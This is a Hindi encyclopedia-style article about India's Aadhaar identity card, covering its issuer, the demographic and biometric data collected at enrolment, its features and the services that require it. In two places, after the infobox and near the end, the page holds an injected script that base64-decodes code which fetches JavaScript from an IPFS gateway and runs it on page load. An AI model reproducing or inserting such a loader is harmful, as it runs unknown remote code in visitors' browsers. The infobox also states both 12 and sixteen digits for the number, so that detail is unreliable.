आधार कार्ड
आधार कार्ड
| |
विवरण | भारत सरकार द्वारा भारत के नागरिकों को जारी किया जाने वाला 12 अंकों का छपा पहचान पत्र है। |
गठन | 2009 |
उद्देश्य | उन लोगों को पहचान पत्र जारी कर समग्र विकास की प्रक्रिया से जोड़ना है, जिनके पास फिलहाल कोई पहचान नहीं है। |
जारीकर्ता | भारतीय विशिष्ट पहचान प्राधिकरण |
अन्य जानकारी | सूचना प्रौद्योगिकी क्षेत्र के सह संस्थापक नन्दन नीलेकणी ने देश में रहने वाले प्रत्येक व्यक्ति के लिए सोलह अंकों की विशेष पहचान यूआईडी देने की सरकार की महत्त्वाकांक्षी परियोजना को नया नाम 'आधार' दिया। इसलिए इसे आधार कार्ड भी कहते हैं। |
बाहरी कड़ियाँ | आधिकारिक वेबसाइट |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
आधार कार्ड (अंग्रेज़ी: Aadhaar Card) भारत सरकार द्वारा भारत के नागरिकों को जारी किया जाने वाला पहचान पत्र है। इसमें 12 अंकों की एक विशिष्ट संख्या छपी होती है जिसे भारतीय विशिष्ट पहचान प्राधिकरण जारी करता है। यह संख्या, भारत में कहीं भी, व्यक्ति की पहचान और पते का प्रमाण होता है। भारतीय डाक द्वारा प्राप्त और यू.आई.डी.ए.आई. की वेबसाइट से डाउनलोड किया गया ई-आधार दोनों ही समान रूप से मान्य हैं। कोई भी भारतीय व्यक्ति आधार के लिए नामांकन करवा सकता है और यू.आई.डी.ए.आई. द्वारा निर्धारित सत्यापन प्रक्रिया को पूरा करता हो, चाहे उसकी उम्र और लिंग कुछ भी हो। प्रत्येक व्यक्ति केवल एक बार नामांकन करवा सकता है। नामांकन के इच्छुक व्यक्ति को नामांकन प्रक्रिया के दौरान, जो पूरी तरह से लागत रहित है, न्यूनतम जनसांख्यिकीय और बायोमेट्रिक सूचना उपलब्ध करवानी होती है। किसी भी व्यक्ति को आधार हेतु नामांकन केवल एक बार करना होता है और डी-डुप्लिकेशन प्रणाली के जरिए विशिष्टता प्राप्त की जाती है, डी-डुप्लिकेशन के बाद केवल एक आधार ही सृजित किया जाता है। आधार नम्बर किसी प्रकार की सूचना से भी रहित है और यह जाति, धर्म, आय, स्वास्थ्य और भूगोल के आधार पर लोगों की बाह्य रूपरेखा नहीं है। आधार नम्बर पहचान का सबूत है तथापि यह आधार नम्बर धारक को नागरिकता और अधिवास संबंधी कोई अधिकार प्रदान नहीं करता।
- जनसांख्यिकीय सूचना
नाम, जन्मतिथि (सत्यापित) अथवा आयु (घोषित), लिंग, पता, मोबाइल नंबर (ऐच्छिक) और ईमेल आईडी (ऐच्छिक)।
- बॉयोमीट्रिक सूचना
दस उंगलियों के निशान, दो आइरिस स्कैन और चेहरे की तस्वीर।
आधार कार्ड की विशेषता
- अद्वितीयता
इसे जनसांख्यिकीय और बायोमेट्रिक डी-डुप्लीकेशन की प्रक्रिया से हासिल किया गया है। डी-डुप्लीकेशन प्रक्रिया में यह जांचने के लिए कि क्या व्यक्ति पहले से ही डेटा बेस में है अथवा नहीं; नामांकन प्रक्रिया के दौरान एकत्र की गई निवासी की जनसांख्यिकीय/बॉयोमीट्रिक जानकारी को यूआईडीएआई के डेटाबेस के रिकार्ड के साथ तुलना की जाती है। निवासी के आधार हेतु केवल एक बार ही नामांकन की आवश्यकता है और डी-डुप्लीकेशन के बाद केवल एक आधार ही सृजन किया जाएगा। यदि निवासी एक से अधिक बार नामांकन करवाता है तो उत्तरवर्ती नामांकन रद्द कर दिए जाएंगे।
- पोर्टेबिलिटी (सुवाह्यता)
आधार राष्ट्रव्यापी पोर्टेबिलिटी (सुवाह्यता) प्रदान करता है क्योंकि यह कहीं भी ऑन-लाईन प्रमाणीकृत किया जा सकता है। यह महत्वपूर्ण है क्योंकि लाखों भारतीय एक राज्य से दूसरे राज्य अथवा ग्रामीण क्षेत्र से शहरी केंद्र आदि में प्रवास करते हैं।
- रेण्डम संख्या
आधार संख्या रेण्डम नम्बर है जिसमें किसी प्रकार की सूचना नहीं है। नामांकन के इच्छुक व्यक्ति को नामांकन प्रक्रिया के दौरान जनसांख्यिकीय और बायोमीट्रिक जानकारी उपलब्ध करवानी होती है। आधार नामांकन प्रक्रिया में जाति, धर्म, आय, स्वास्थ्य, भूगोल इत्यादि जैसे विवरण को संग्रहित नहीं किया जाता है।
- स्केलेबल प्रौद्योगिकी संरचना
यूआईडी संरचना अनावृत और स्केलेबल है। निवासी के डेटा को केन्द्रीकृत रूप में संग्रहीत किया जाता है और देश में कहीं से भी उसका ऑनलाइन प्रमाणीकरण किया जा सकता है। एक दिन में 10 करोड़ प्रमाणीकरण करने के लिए आधार प्रमाणीकरण सेवा का गठन किया गया है।
- ओपन स्रोत प्रौद्योगिकियां
ओपन सोर्स वास्तुकला विशिष्ट कम्प्यूटर हार्डवेयर, विशिष्ट भंडारण, विशिष्ट ओएस, विशिष्ट डेटाबेस विक्रेता या किसी विशिष्ट विक्रेता प्रौद्योगिकियों पर निर्भरता को प्रतिबंधित करता है। इस प्रकार के एप्लीकेशन खुला स्त्रोत या खुली प्रौद्योगिकी का उपयोग कर निर्मित और एक विक्रेता तटस्थ ढंग से स्केलेविलिटी को एड्रेस करने और एक ही आवेदन के भीतर विषम हार्डवेयर के सह-अस्तित्व के लिए संरचित किए जा रहे हैं।
आधार कार्ड की उपयोगिता
भारत सरकार बड़ी संख्या में सामाजिक कल्याणकारी योजनाओं का वित्त पोषण करती है जो कि समाज के ग़रीब और सबसे कमजोर वर्गों की ओर केंद्रित होती हैं। आधार और इनके मंच सरकार के लिए उसके कल्याण तंत्र को कारगर बनाने के लिए और इस प्रकार पारदर्शिता और सुशासन सुनिश्चित करने के लिए एक अनूठा अवसर प्रदान करते हैं।
सरकारों एवं सेवा एजेंसियों हेतु
अपने पूरे डेटा-बेस के विपरीत केवल वे जनसांख्यिकीय और बायोमीट्रिक विशेषज्ञताओं की डी-डुप्लीकेटिंग के पश्चात यूआईडीएआई निवासियों के लिए आधार नम्बर जारी करता है। आधार प्रमाणीकरण विभिन्न योजनाओं के तहत् दोहराव के उन्मूलन में सक्षम है और इससे सरकारी खजाने में पर्याप्त बचत होने की उम्मीद है। यह सरकारों को लाभार्थियों के सटीक डेटा प्रदान करने, प्रत्यक्ष लाभ कार्यक्रम को सक्षम करने और सरकारी विभागों/सेवा प्रदाताओं को समन्वय और विभिन्न योजनाओं के अनुकूलन करने की अनुमति प्रदान करता है। लाभार्थियों को सत्यापित करने और लाभों के लक्षित वितरण को सुनिश्चित करने में कार्यान्वयन एजेंसियों को आधार सक्षम करता है। इन सभी गतिविधियों को बढ़ावा मिलने का परिणाम होता है-
- लक्षित वितरण द्वारा लीकेज को रोकना:- कल्याण कार्यक्रमों, जहां सेवा वितरण से पूर्व लाभार्थियों की पुष्टि करना आवश्यक है, को यूआईडीएआई की प्रमाणीकरण सेवा लाभ मिलेगा। इसके परिणामस्वरूप लीकेज को रोकना और सेवाओं का वितरण लक्षित लाभार्थियों तक ही किया जाना सुनिश्चित होगा। उदाहरणस्वरूप सार्वजनिक वितरण प्रणाली (पीडीएस) के लाभार्थियों को सब्सडाइज्ड योजना और मिट्टी के तेल का विवरण, महात्मा गांधी राष्ट्रीय ग्रामीण रोजगार गारंटी योजना (मनरेगा) के लाभार्थियों की कार्यस्थल उपस्थिति आदि इसमें शामिल हैं।
- दक्षता और प्रभावकारिता में सुधार:- आधार मंच से सेवा वितरण प्रणाली के बारे में पारदर्शी और सटीक जानकारी उपलब्ध कराने के परिणामस्वरूप सरकार संवितरण प्रणाली में सुधार कर सकती हैं और दुर्लभ विकास कोष को और अधिक प्रभावी ढंग से और कुशलतापूर्वक सेवा वितरण नेटवर्क में शामिल मानव संसाधनों का बेहतर उपयोग कर सकती है।
निवासियों के लिए
आधार प्रणाली भारत के सभी निवासियों को देश भर में ऑनलाईन पहचान सत्यापन का एकमात्र स्त्रोत प्रदान करती है। निवासियों का एक बार नामांकन हो जाने पर वे आधार नम्बर का इलेक्ट्रॉनिक माध्यमों से उपयोग कर अपनी पहचान को सत्यापित और प्रमाणित कर सकते हैं। इसके द्वारा नागरिक प्रत्येक बार सेवाओं जैसे- बैंक खाता खोलने के लिए, ड्राइविंग लाइसेंस आदि प्राप्त करने हेतु बार-बार पहचान समर्थन दस्तावेजों को उपलब्ध कराने की परेशानी से बच सकते हैं। पहचान का एक पोर्टेबल सबूत, जिसे कभी भी कहीं भी ऑनलाईन आधार प्रमाणीकरण के माध्यम से सत्यापित किया जा सकता है, उपलब्ध करवा कर आधार प्रणाली ने ऐसे लाखों लोगों को, जो देश के एक भाग से दूसरे भाग में चले जाते हैं, गतिशीलता प्रदान की है।
अन्य लाभ
आधार कार्ड के महत्व को बढ़ाते हुए भारत सरकार ने बड़े फैसले लिए हैं जिसमें आपके पास आधार कार्ड नहीं है तो वह काम होना मुश्किल होगा। इस कार्ड को कोई और प्रयोग नहीं कर सकता है, जबकि राशनकार्ड समेत कई और दूसरे प्रमाण पत्र के साथ कई तरह कि गड़बड़ियाँ हुई है और होती रहती है।
- पासपोर्ट जारी करने के लिए आधार को अनिवार्य कर दिया गया है।
- जनधन खाता खोलने के लिये आधार ज़रूरी है।
- एलपीजी की सब्सिडी पाने के लिये।
- ट्रेन टिकट में छूट पाने के लिए।
- परीक्षाओं में बैठने के लिये (जैसे आईआईटी जेईई के लिये)।
- बच्चों को नर्सरी कक्षा में प्रवेश दिलाने के लिये।
- डिजिटल जीवन प्रमाणपत्र (लाइफ सर्टिफिकेट) के लिए आधार ज़रूरी।
- प्रविडेंट फंड के लिए भी अब आधार ज़रूरी।
- डिजिटल लॉकर के लिए आधार ज़रूरी।
- सम्पत्ति के रजिस्ट्रेशन के लिए भी आधार कार्ड जरूरी कर दिया गया है।
- छात्रों को दी जाने वाली छात्रवृत्ति भी आधार कार्ड के जरिए ही उनके बैंक में जमा करवाई जाएगी।
- सिम कार्ड खरीदने के लिये आधार ज़रूरी।
- आयकर रिटर्न जमा करने के लिए आधार ज़रूरी कर दिया गया है।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
- आधिकारिक वेबसाइट
- आधार कार्ड बनवाने के लिए ज़रूरी दस्तावेज
- आधार पूरी तरह सुरक्षित, भ्रष्टाचार पर रोक लगाने में भी मिली मदद : केंद्र सरकार
संबंधित लेख